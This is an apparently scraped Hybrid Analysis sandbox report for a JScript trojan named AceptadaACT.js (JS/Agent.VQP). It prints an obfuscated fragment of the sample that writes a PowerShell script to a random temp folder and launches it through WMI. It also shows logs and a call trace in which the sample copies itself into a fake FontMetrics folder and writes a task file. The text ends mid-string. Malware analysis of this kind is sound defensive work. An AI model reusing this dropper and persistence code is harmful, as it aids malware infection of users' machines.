34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 4c:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T497,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious JS/Agent.VQP trojan Sample bff6f7bbf77f… — Score 86/100 — Hybrid Analysis","description":"Malicious verdict for sample bff6f7bbf77f…. Malware family: JS/Agent.VQP trojan. Threat score 86/100. 2/23 AV engines flagged this file. 4 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/bff6f7bbf77fbb6916ac028e3ed306d737e5a9cd1f31e9cff7f0eb7bac049ffc","keywords":["Malicious","JS/Agent.VQP trojan","malware analysis","sandbox report","threat intelligence","bff6f7bbf77fbb6916ac028e3ed306d737e5a9cd1f31e9cff7f0eb7bac049ffc"],"about":{"@type":"SoftwareApplication","name":"AceptadaACT.js","applicationCategory":["script","javascript"],"identifier":"bff6f7bbf77fbb6916ac028e3ed306d737e5a9cd1f31e9cff7f0eb7bac049ffc","additionalType":"Malicious sample"},"threatScore":86,"malwareFamily":"JS/Agent.VQP trojan","antivirusDetections":{"malicious":2,"total":23},"behavioralIndicators":{"malicious":4,"suspicious":8},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T446,Found string "SystemObject"); var applyVal1a = refHelper18.ExpandEnvironmentStrings("%TEMP%"); var cacheController1b = applyVal1a + "\\" + (function(){var a=[],i=(0x275D-0x275d),pool=("abcdef"+"ghijkl"+"mnopqrs"+"tuvwxyz");for(;i<(0x3+0x7);i++)a.push(pool.charAt(Math.floor(Math.random()*(26+0))));return a.join("");})(); try { dataWrapper19.CreateFolder(cacheController1b); } catch(eMk) {} var applyData1c = cacheController1b + "\\w" + Math.floor(Math.random() * ((22*40+20)*(29*3+13)) + ((78+22)*(14013-13913))) + ".ps1"; var initKeyHelper1d = dataWrapper19.CreateTextFile(applyData1c, true, true); initKeyHelper1d.Write(toEntry17); initKeyHelper1d.Close(); try { var recordContext1e = WScript.CreateObject("WbemScripting.SWbemLocator"); var calcEntryService1f = recordContext1e.ConnectServer(null, "root\\cimv2"); var isRef20 = calcEntryService1f.Get("Win32_Process"); var valHelper21 = refHelper18.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\WindowsPowerShell\\v1." (Indicator: "wbemscripting."; in Source: "sample.bin")37:T4b1,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\TREATAS") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCSERVER32") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCSERVER32") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCSERVER32") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCSERVER32") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCHANDLER32") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCHANDLER32") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCHANDLER") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCHANDLER") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\TREATAS")38:T59c,"WScript.exe" queried SystemProcessInformation at 00000000-00008700-00000C15-1829266313 [PID: 8700] "WScript.exe" queried SystemProcessInformation at 00000000-00008700-00000C15-1829282978 [PID: 8700] "WScript.exe" queried SystemProcessInformation at 00000000-00008700-00000C15-1829418269 [PID: 8700] "WScript.exe" queried SystemProcessInformation at 00000000-00008700-00000C15-1829424674 [PID: 8700] "WScript.exe" queried SystemProcessInformation at 00000000-00008700-00000C15-1830272377 [PID: 8700] "WScript.exe" queried SystemProcessInformation at 00000000-00008700-00000C15-1830278884 [PID: 8700] "powershell.exe" queried SystemProcessInformation at 00000000-00008348-00000C15-1844698978 [PID: 8348] "powershell.exe" queried SystemProcessInformation at 00000000-00008348-00000C15-1844705881 [PID: 8348] "powershell.exe" queried SystemProcessInformation at 00000000-00008348-00000C15-1844844143 [PID: 8348] "powershell.exe" queried SystemProcessInformation at 00000000-00008348-00000C15-1844850744 [PID: 8348] "powershell.exe" queried SystemProcessInformation at 00000000-00008348-00000C15-1847651777 [PID: 8348] "powershell.exe" queried SystemProcessInformation at 00000000-00008348-00000C15-1847658865 [PID: 8348] "powershell.exe" queried SystemProcessInformation at 00000000-00008348-00000C15-1848502597 [PID: 8348] "powershell.exe" queried SystemProcessInformation at 00000000-00008348-00000C15-1848641612 [PID: 8348]39:T2bbb,Script name: C:\AceptadaACT.js contents: IHost.CreateObject("Scripting.FileSystemObject"); IHost.CreateObject("WScript.Shell"); IWshShell3.ExpandEnvironmentStrings("%LOCALAPPDATA%"); IFileSystem3.FolderExists("C:\Users\Trj78lt\AppData\Local\FontMetrics"); IFileSystem3.CreateFolder("C:\Users\Trj78lt\AppData\Local\FontMetrics"); IFileSystem3.FileExists("C:\Users\Trj78lt\AppData\Local\FontMetrics\FontMetrics.js"); IHost.ScriptFullName(); IFileSystem3.CopyFile("C:\AceptadaACT.js", "C:\Users\Trj78lt\AppData\Local\FontMetrics\FontMetrics.js", "false"); IHost.CreateObject("WScript.Network"); IWshNetwork2.UserDomain(); IWshNetwork2.UserName(); IWshShell3.ExpandEnvironmentStrings("%TEMP%"); IFileSystem3.CreateTextFile("C:\Users\Trj78lt\AppData\Local\Temp\3021105.xml", "true", "true"); ITextStream.Write(" true 3bH5mu5H6hRaWWh\Trj78lt true 3bH5mu5H6hRaWWh\Trj78lt true 3bH5mu5H6hRaWWh\Trj78lt true 3bH5mu5H6hRaWWh\Trj78lt true 3bH5mu5H6hRaWWh\Trj78lt true 3bH5mu5H6hRaWWh\Trj78lt